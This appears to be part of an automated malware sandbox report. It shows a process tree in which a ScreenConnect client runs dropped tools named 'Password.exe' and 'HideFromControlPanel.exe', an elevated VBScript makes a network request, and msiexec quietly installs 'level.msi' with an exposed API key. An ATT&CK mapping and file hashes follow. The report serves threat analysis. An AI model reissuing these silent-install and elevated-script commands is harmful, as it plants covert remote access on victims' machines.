  "C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe" "RunRole" "9a82a3be-f5c2-417c-8086-af25dc3271aa" "User"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  PID:416
- - C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe
    "C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe" "RunFile" "C:\Users\Admin\Documents\ScreenConnect\Temp\Password.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:996
  - - C:\Users\Admin\Documents\ScreenConnect\Temp\Password.exe
      "C:\Users\Admin\Documents\ScreenConnect\Temp\Password.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5900
- - C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe
    "C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe" "RunFile" "C:\Users\Admin\Documents\ScreenConnect\Temp\HideFromControlPanel.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:2536
  - - C:\Users\Admin\Documents\ScreenConnect\Temp\HideFromControlPanel.exe
      "C:\Users\Admin\Documents\ScreenConnect\Temp\HideFromControlPanel.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5748
- C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe" "RunRole" "796d1d18-6734-43d5-a1b2-03bf386206e2" "System"
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious behavior: GetForegroundWindowSpam
  PID:1704

C:\Windows\explorer.exe
"C:\Windows\explorer.exe" shell:::{52205fd8-5dfb-447d-801a-d0b52f2e83e1}
1⤵
PID:5472

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
PID:3040

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5160

C:\Windows\System32\Notepad.exe
"C:\Windows\System32\Notepad.exe" C:\Users\Admin\AppData\Local\Temp\confirmation.vbs
1⤵
- Opens file in notepad (likely ransom note)
- Suspicious use of FindShellTrayWindow
PID:376

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\confirmation.vbs"
1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4688
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\confirmation.vbs" /elevated
  2⤵
  - Badlisted process makes network request
  - Checks computer location settings
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:2204
- - C:\Windows\System32\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\level.msi" LEVEL_API_KEY=64fhD3D52c1tFPhawv7cze1M /qn
    3⤵
    PID:1472

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4044
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Drops desktop.ini file(s)
  - Detected potential entity reuse from brand GOOGLE.
  - Checks processor information in registry
  - Modifies registry class
  - NTFS ADS
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1084
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2004 -prefsLen 27100 -prefMapHandle 2008 -prefMapSize 270279 -ipcHandle 2088 -initialChannelId {63b4a6f3-7aec-4e80-a4eb-fb79d911e716} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
    3⤵
    PID:884
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2464 -prefsLen 27136 -prefMapHandle 2468 -prefMapSize 270279 -ipcHandle 2476 -initialChannelId {003c5e1f-5b74-437f-9cc8-8267460f249d} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
    3⤵
    PID:3084
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3828 -prefsLen 27277 -prefMapHandle 3832 -prefMapSize 270279 -jsInitHandle 3836 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3844 -initialChannelId {48801a52-f122-4765-8df0-c0125816ff24} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
    3⤵
    - Checks processor information in registry
    PID:6092
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4020 -prefsLen 27277 -prefMapHandle 4024 -prefMapSize 270279 -ipcHandle 4032 -initialChannelId {f9080605-bd0b-4be0-9d25-2fe58faeca7a} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
    3⤵
    PID:4148
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3676 -prefsLen 34776 -prefMapHandle 3680 -prefMapSize 270279 -jsInitHandle 3688 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1640 -initialChannelId {0dfb5763-72bd-416f-99df-261746546737} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
    3⤵
    - Checks processor information in registry
    PID:2260
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4964 -prefsLen 34906 -prefMapHandle 3248 -prefMapSize 270279 -ipcHandle 4948 -initialChannelId {c2907d20-712f-46c1-9e9b-48d7b9272f9d} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
    3⤵
    - Checks processor information in registry
    PID:3896
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5128 -prefsLen 32845 -prefMapHandle 5132 -prefMapSize 270279 -jsInitHandle 5136 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5144 -initialChannelId {4e7ce7d2-c47c-4718-9669-ef70f53ffb93} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
    3⤵
    - Checks processor information in registry
    PID:4956
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5396 -prefsLen 32845 -prefMapHandle 5400 -prefMapSize 270279 -jsInitHandle 5404 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5408 -initialChannelId {8608b403-efb6-4a4b-812c-06f0415f10f8} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
    3⤵
    - Checks processor information in registry
    PID:2300
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5600 -prefsLen 32845 -prefMapHandle 5604 -prefMapSize 270279 -jsInitHandle 5608 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5616 -initialChannelId {db6f1fce-0cd7-486e-958a-cdb4c3493aff} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
    3⤵
    - Checks processor information in registry
    PID:4580
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6384 -prefsLen 36918 -prefMapHandle 6140 -prefMapSize 270279 -jsInitHandle 6696 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3688 -initialChannelId {c70605f7-4bd8-4323-b9bd-b19fd6d6fa37} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
    3⤵
    - Checks processor information in registry
    PID:1172
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6864 -prefsLen 36918 -prefMapHandle 5876 -prefMapSize 270279 -jsInitHandle 6832 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3460 -initialChannelId {5ed3dea7-7f54-4f3e-8af8-de7c05770675} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
    3⤵
    - Checks processor information in registry
    PID:5996
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2948 -prefsLen 36918 -prefMapHandle 6560 -prefMapSize 270279 -jsInitHandle 5580 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5512 -initialChannelId {9ad21706-19b7-4caf-928c-ba82e4ed6e80} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
    3⤵
    - Checks processor information in registry
    PID:1392
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5812 -prefsLen 36918 -prefMapHandle 5816 -prefMapSize 270279 -jsInitHandle 5800 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5788 -initialChannelId {c0bacbe7-4036-45a3-a892-766197acc419} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
    3⤵
    - Checks processor information in registry
    PID:4780

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0 /state0:0xa39d5855 /state1:0x41c64e6d
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:2220

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e5844b8.rbs

Path C:\Config.Msi\e5844b8.rbs
Size 214KB
SHA256 0b9bfa2e78135af8053032a388f40c44a0544c81f17a489043698e63b332f258
MD5 f72a3bace2f71108594599cffa0f4ffc
SHA1 5f59452c6231d8421a79462509a67cbbd21154bf
SHA512 e492e7eceb57fdb8cd56f5a36968e1adbf87647f0f1d3414a97837a83ace897979553ecb3ca294f21d97dac04e8696be29ea75e26b306f8b5fcf982b8897d2f2
SSDEEP 3072:Kj9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGj:KjuH2aCGw1ST1wQLdqvj
TLSH
T14E248D216480807EE7FA1A32D93F9A61BE7DF6241760C59EC3848C1E5D604D06BF7B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e5844bc.rbs

Path C:\Config.Msi\e5844bc.rbs
Size 3KB
SHA256 5f6964f54fdf96c0368ea59a860971d68cc82f16939bbd089b5d4bd1c85e6c29
MD5 5e3cc9865ca25efe5e8e12f20875340b
SHA1 36499d233fd6e09261a83479f234e7854655ff04
SHA512 4f9ab2ff70bdbd65f01eedc9fea50e0ef38e292e5d4eab6bd71f33599545912b5148c167e676941e4a17573e28991f4ee354b2d3b5594a3843abd3d990ebcd5e
TLSH
T187715803AB04E683ECA36F30CD531B113BB3E6D5A3154387558C91744E57BDA9FAE28A
MD5 SHA1 SHA512 TLSH

Submit Download

Client.Override.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\Client.Override.en-US.resources
Size 290B
SHA256 d40224a36d0b67c26b0198ca2bbba3ffc1001a972c7b27c245b3e6eb9f505f9e
MD5 ea39e2e33053d9c5b9bbd12a234a0099
SHA1 3df056d12a3a38259f57794d8d3bfbc9fce0a809
SHA512 42f4cb2fa4084f39711553554c1c38600112a39e9de4bfa4a2aed22dad40fecb9fb3aebde0b0b22c4a5a96714c3f242500f3709e9283aab897c03bd166d7e3cb
TLSH
T1B7D0CD27639C1175D5E2177B249630C1153FF51D8124546C6854211C5AB260A4F81B22
MD5 SHA1 SHA512 TLSH

Submit Download

Client.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\Client.en-US.resources
Size 49KB
SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
MD5 9fc69f433805d115364f7fddeae45878
SHA1 36e93cc0f60688dd052c0b074fdd9e4dfa69c78e
SHA512 30fe97ce40cea06b68f11e426453b4e8eab06684c6921eeac52e3e737755afb18ce562b1acf799d4a3bbb767b2db1b25abe5d5abd0b72341a472213035a043b4
SSDEEP 1536:YU3a22xQvG6HpbkkyJIfmTkN/gFYA9JwdL4hhK71ATJKeParg9:YU3a22xQJHpbkkyJIfmTkN/gFYA9JwdM
TLSH
T10B331E1277FD0A58F5F36F05BE7A94619937BC6A2E25C06F1028855E09B2F80C9B2773
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.resources

Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\Client.resources
Size 33KB
SHA256 e0d0e5d951ef955f22d110b65b3fedfb8b1710491563d7c541f5e3d9fd4ccee8
MD5 af3340a5bcfe20e75ed0211da310d83b
SHA1 4194ed00e58f0685dea15e36e8e08a26c5510d2a
SHA512 72ffcb2a23fc12742ebb17e4b843cc82fedb36a769af781fdd985835fbb6031290b118e82005f22135e3814da062855095a27a3e52b4ff6187754849cc9565be
SSDEEP 768:MjnrKBn359mVXOVPZrXgTf6vEVm6zjpGYUElerG49:sraJ41OVPZrXgTf6v0fzNGqn49
TLSH
T168F2E1CF33B99DDDD5BD5B3A79FA4078173B79422DB123226802101629356C86F28F5B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Client.dll

Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.Client.dll
Size 202KB
SHA256 ea1ba32647cf18942e5d26e4d80ade8d25db7984555f55c378c9ad0d33c11271
MD5 71d61a79e4f69392270d5ed5258804b0
SHA1 6b6e1a4487d7df3660ec77bbd970749157128310
SHA512 a8a8819c635df374c453726fab387bcec7f7146390198ee28aa68b111cfdc11d0c3e7fe258300550a82aef179aa26e40fdcf96448badd48d24876f19fbdb7564
SSDEEP 3072:L5jDSMscgsVrgI7uymhsqVFJRTcyzvFqSmzDvJXYhCR7:dDSM1VsIR4PJuCqSmG0
TLSH
T115145DA663645D2AEADF4973B0506030CA75ED25A423F3DE4E04F9FA19B33818E553E3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.ClientService.dll
Size 77KB
SHA256 84d0a414d03ab35f65cb149229ac2a64cde9b20f3cb2aba9099c71510a749fe4
MD5 de1a3571df266edf0f90cd701f9d6faa
SHA1 3ab86ad77b16439443ed111a02513f2ba1a859ba
SHA512 4b70742fcab812442864abeee3ec9b05f201aa5539126a309a19ac6133df5a1c38bb0d52eaaf10ea567fe96565f514d6fa8d2ef4703d0ebacd21f485f6b8f5a8
SSDEEP 1536:3OZLdn4uRt3p/V1gwk5GEPVQoV3l7Pg8byi7Ql:3EqUJgxNtQoV1miI
TLSH
T1A8734C02A2BD8936CDDF5E787465F0450B708E02E4A3EB99ADCDA4D71B563E12A013DF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.ClientService.exe
Size 93KB
SHA256 46457d98fb1c53bbccb66c1015eb831355f30c8bf8e6f25cf3183aac2a5fd8ab
MD5 67aca444be6cc9110dfa9d85e630bc2b
SHA1 637238c64fd0749e6f31abcaaadfb2b4a71e0146
SHA512 24ad7288d03ebb5d3a7d677c096cd91c5e8e881f6464be69c11c2d7cc5e2fe5a17d75a18b71a1e358cb4970bc757960a5cb35657cd00c01ad0adc5ae679aa319
SSDEEP 1536:4g1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgsT0HMd7Ql:xhbNDxZGXfdHrX7rAc6myJkgsT0Hm0
TLSH
T110935B13B5D28872D473093158E0DAB49A3FF9215E21DEAB3798022E4F641C1BE75EB7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.Core.dll
Size 549KB
SHA256 6928d272bdcfb0a1739d4ffee9a1a6e230880a3ce954233a83fdc70024c1e7ad
MD5 5e4143b2f4f9af8f0461655142645a62
SHA1 e2b8dcfed52a6c4a19b38ff4b0f3810a09cc77a1
SHA512 9bd3d3dda1e372db9c8905e4660549b8b5243cea8ce55b5860956458d8c401a8d9b204bccb861e714ccb1f7875edea9331f37ddf6ed68e9ebfad807970d4d503
SSDEEP 6144:7i8BQky36l+Ub6dHCWyt+nyGPRvF4++Xn8R7yt46ICWPHPMPqr/NZGPiySLwr/q5:7i/kyKL0ot4r5vF4+L7yICsbO/0OFte
TLSH
T1E4C46C8133E49B2AC67F577BB0A495298770E901710FF76B6981D5F86D6334ACE002FA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.Windows.dll
Size 1.7MB
SHA256 fb81fc9354d12d15f125492c74f766bb538ddc1f9748735b0bdfbf6e945175c6
MD5 9a4395bb702e09a344d1c0890eaf3252
SHA1 2176e6bb1bd35172d03af7df22675c371a951e8e
SHA512 d00e958e1da60c488dc6bf4c909c22806b8fb70c7d0fa8debd71cfd9d835495c6dd5482733fb909348cee58e5eab1ff87f6e577a113092acf37caa459b0113de
SSDEEP 24576:CDZFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPTsUTH+:CDZJkGYYpT0+TFiH7efPH
TLSH
T1EE85BD41E2D364F5D46B047888BF572ABA743C040315CAFB97D4AE3A6D33BC09A36796
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsAuthenticationPackage.dll

Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsAuthenticationPackage.dll
Size 254KB
SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
MD5 5adcb5ae1a1690be69fd22bdf3c2db60
SHA1 09a802b06a4387b0f13bf2cda84f53ca5bdc3785
SHA512 812be742f26d0c42fdde20ab4a02f1b47389f8d1acaa6a5bb3409ba27c64be444ac06d4129981b48fa02d4c06b526cb5006219541b0786f8f37cf2a183a18a73
SSDEEP 3072:qJvChyA4m2zNGvxDd6Q6dtaVNVrlaHpFahvJ9ERnWtMG8Ff2lt9Bgcld5aaYxg:0IvxDdL6d8VNdlC3g0RCXh5D
TLSH
T1C5448E15B7A40CB4EC77823888535A06E776BC160760E6CF03E0825ADF6F7D1A63E762
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsBackstageShell.exe

Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsBackstageShell.exe
Size 59KB
SHA256 48017db8b2d4ef34ddd2a289f9f8f78cbfaf3a8594298255638fd6346d88f58c
MD5 da5b444cab6ab208c1beecbb2a2b2cc2
SHA1 9745e86ca8e3c6a8b43cbb46f1061cc3c095a020
SHA512 37f4c656dfb4d26979d9bccef99d09fd426b3d94e9ebdb3e8f87bf2ab97ffd4475429b0dd39b51c64ec07ee41ff87ba2686c99f9d30475efeba4b6a526a01d6d
SSDEEP 1536:ObHOH2MJv2vmDtyQXIE+TC4JIfXWboJ7re:ObuH2MJvyQEkvJu
TLSH
T106538D4163F80626DDFF6E38B5E2A5200EB1EA025441E79E1DCDA4DA4E437C16B603F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe

Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe
Size 595KB
SHA256 3b150443fbb196446479367dc44888488045ae8eef9b872406656cf33ace2556
MD5 4e9e1ec6842321cd8acfbff4d658fd69
SHA1 c48caf787cccf41fc8fffe401a94fa8df0fc6369
SHA512 a64cd9376daf4f24e066edacf6ad679e9c434e73e74ce9cd0705490b5594364f5ba97b0fa307bc63a0132369d13611b609d8a31bc73113ff3189ad2cd8ebf926
SSDEEP 6144:iHv8AU89LWJ2dNq9jGyYSMCoI68zg/KWcA3rlz1vH5kqb1JCZ2cNI2/C4I159uvP:KeCWEdNq4yP76wSPrlz1vHCqb10u9tM
TLSH
T195D46A62737CDA7AC9FF0779B0B1162457B0E8226285E78F5804E5E90E973829D443FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe.config

Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsClient.exe.config
Size 266B
SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
MD5 728175e20ffbceb46760bb5e1112f38b
SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
TLSH
T12CD05E5418D4FC1B5E324A6767628959EF70E2D280A84808B49F1573062309A4397322
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.WindowsCredentialProvider.dll

Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\ScreenConnect.WindowsCredentialProvider.dll
Size 838KB
SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
MD5 da1862f34105106917a91ed4c0d1442b
SHA1 ae9209eff99c875aa98ffa22667515b65f112b37
SHA512 3433232ad03f94b78ed2623dbf161e023704aab258a82771497b1a317432a96ca5cb372584e2b69eb7e1b822a4f42e8771f714ca1ea15c0d76785e7e80ffd86d
SSDEEP 12288:thUSQJg/+QShEMuu/gUD+FkoiS+upfHHA:twNQrMuu/gUD+Son+2fnA
TLSH
T1DA054C1BE7A440B9C0ADC6B5C35B9736BBB6F4864514B29F07D40A227F6BF40AB1D384
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

app.config

Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\app.config
Size 963B
SHA256 e83d538e6a597b02af3f70bbdd2830982961ef2e7a9e078222c1729dd7170503
MD5 6bde5ad3284d3c263d1a24446cab5384
SHA1 f13e9955b2e6735d56641d4aebbf0cedff6d3991
SHA512 52e0651d2734f9a1707740cb96070edf3f7635f7cfac344f13f442deb694e36847d0863c212163fd9e7779d682d03d993f27dc575c116d9a817be4c9e340b8a0
TLSH
T125113059B5C0AE5911A25632EA3152C1FD70596312A5B0E078DE32779F30ADA07E32EA
MD5 SHA1 SHA512 TLSH

Submit Download

system.config

Path C:\Program Files (x86)\ScreenConnect Client (3f90ea06fd2dc28c)\system.config
Size 937B
SHA256 e05410784b8c7f6d31be84e6c22eca93a201742a29a3acbad2ddf72aa95ffb41
MD5 8abd754894df2b15e77bda010338c984
SHA1 d4835cc7b583d7911734a5a926218196c6c03df8
SHA512 088eaaf01f064678f66c87da1770d61f162e1ade0b5943d63c3ddde14e3777880024a398c7a36545087c207e1d2df25567d1ca2acd986ae8013790075bdfb536
TLSH
T17611DCB23680AD0A17F37B22CD268740ADB2265A590164D9749E223F5B327DE076319A
MD5 SHA1 SHA512 TLSH

Submit Download

rundll32.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rundll32.exe.log
Size 746B
SHA256 707c0e90ab433305fb10151c93aed7664319ba55ec59b7304d38481af4f5a4a2
MD5 4120a9b92f238fb49739d695b67fed65
SHA1 1151a9c25533be5b1d497076db8228ab6c97ec59
SHA512 feaffad013d229b8d7395dc9bdcad5b948183b16ac41c41c5f5d923f1512e0dc24b56073f10eb88b0a5e2a41980c16d04ea4a8877f47035732fa317d165804d8
TLSH
T162017B302272B1D549022F53191C2A8907BF43957968BE1C79A9225FD92B05B6F222E3
MD5 SHA1 SHA512 TLSH

Submit Download

86DDBDE5E1EAFC4C588EE71FB531985C95CCC542

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\92mp7hp0.default-release\cache2\entries\86DDBDE5E1EAFC4C588EE71FB531985C95CCC542
Size 16KB
SHA256 25dc9ba7241fa62fec3df599933d59bd118c2d280f336093d1af2494ca69b839
MD5 51c5234041c9e19f5e3f0cef78537c62
SHA1 8ce0d6ea8af11c02160406e92d459206c3150004
SHA512 4a30ac8ccb99a4575e4ab244478fde5851fae1581765042cfebeb908593a938d4d230ec4cd9cd693700747ece1447e11409d913973e001ddd6d39681af799b5f
SSDEEP 384:HXkRyiO024YnDL84KKDL849B7SOEAd9KVRaAcP+AWRMAaru:3mZYnDL8lKDL8CB7S/AmVAf+hRMy
TLSH
T1FB727D3D5F003CAC25A7C0F8C5A583A98D18B7A7DEEAC0AD21583D0DC798969B5F548F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

level.msi

Path C:\Users\Admin\AppData\Local\Temp\level.msi
Size 12.6MB
SHA256 606f2b7e90ae75e5211f15e666344ea0ad32c5287c76ca20846c4ec447696ab6
MD5 ee12b2e8c3bcf0e7833031af1292dd97
SHA1 a89ad051029840984b8f749ae2695f9cc4032bd5
SHA512 94cb811e5faaea3cfa88631a7f965b1f9c0eb5acd0304c8b908c31b8f3c42c15929deb46cd610f68e2e5bbde8056fbdec0d9a5c39ef2e29d040540322cf870c1
SSDEEP 393216:FmkEdQ03NldNmkEd+mkEdEmkEdJmkEdfmkEdQ:3E2cxfEUEOEJEbE2
TLSH
T198D6230573F8A119F1B72A3AED3952F15C7B7C22CD62D15E1658364D2AB0EC19AB2333
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 11KB
SHA256 ddf3ba4e25a622276755133e0cce5605b83719c7cab3546e09acbfed00d6a986
MD5 25e8156b7f7ca8dad999ee2b93a32b71
SHA1 db587e9e9559b433cee57435cb97a83963659430
SHA512 1211b2fa997ba13ff926aec58b6b35a81d7fe108b0caa8f4d6369d0a37f8481373b78a4b201651243adde9e2b2699ce929482a46226ff6299b0a0e40fe2ddc56
SSDEEP 192:96jbMOTaRNUB3K7L7KqRUGcW9KK+DOO4L5h3tCw0RZvjUFV3bXFwo10+H99uhNA:kjbMegNp7L7KCopFDUtCZvjU73zqFiu0
TLSH
T12A32AFAB081F8454EFA710F628B670CFA1BA95B4067C2B1E9B1819855809BD0C5D2EDD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 502KB
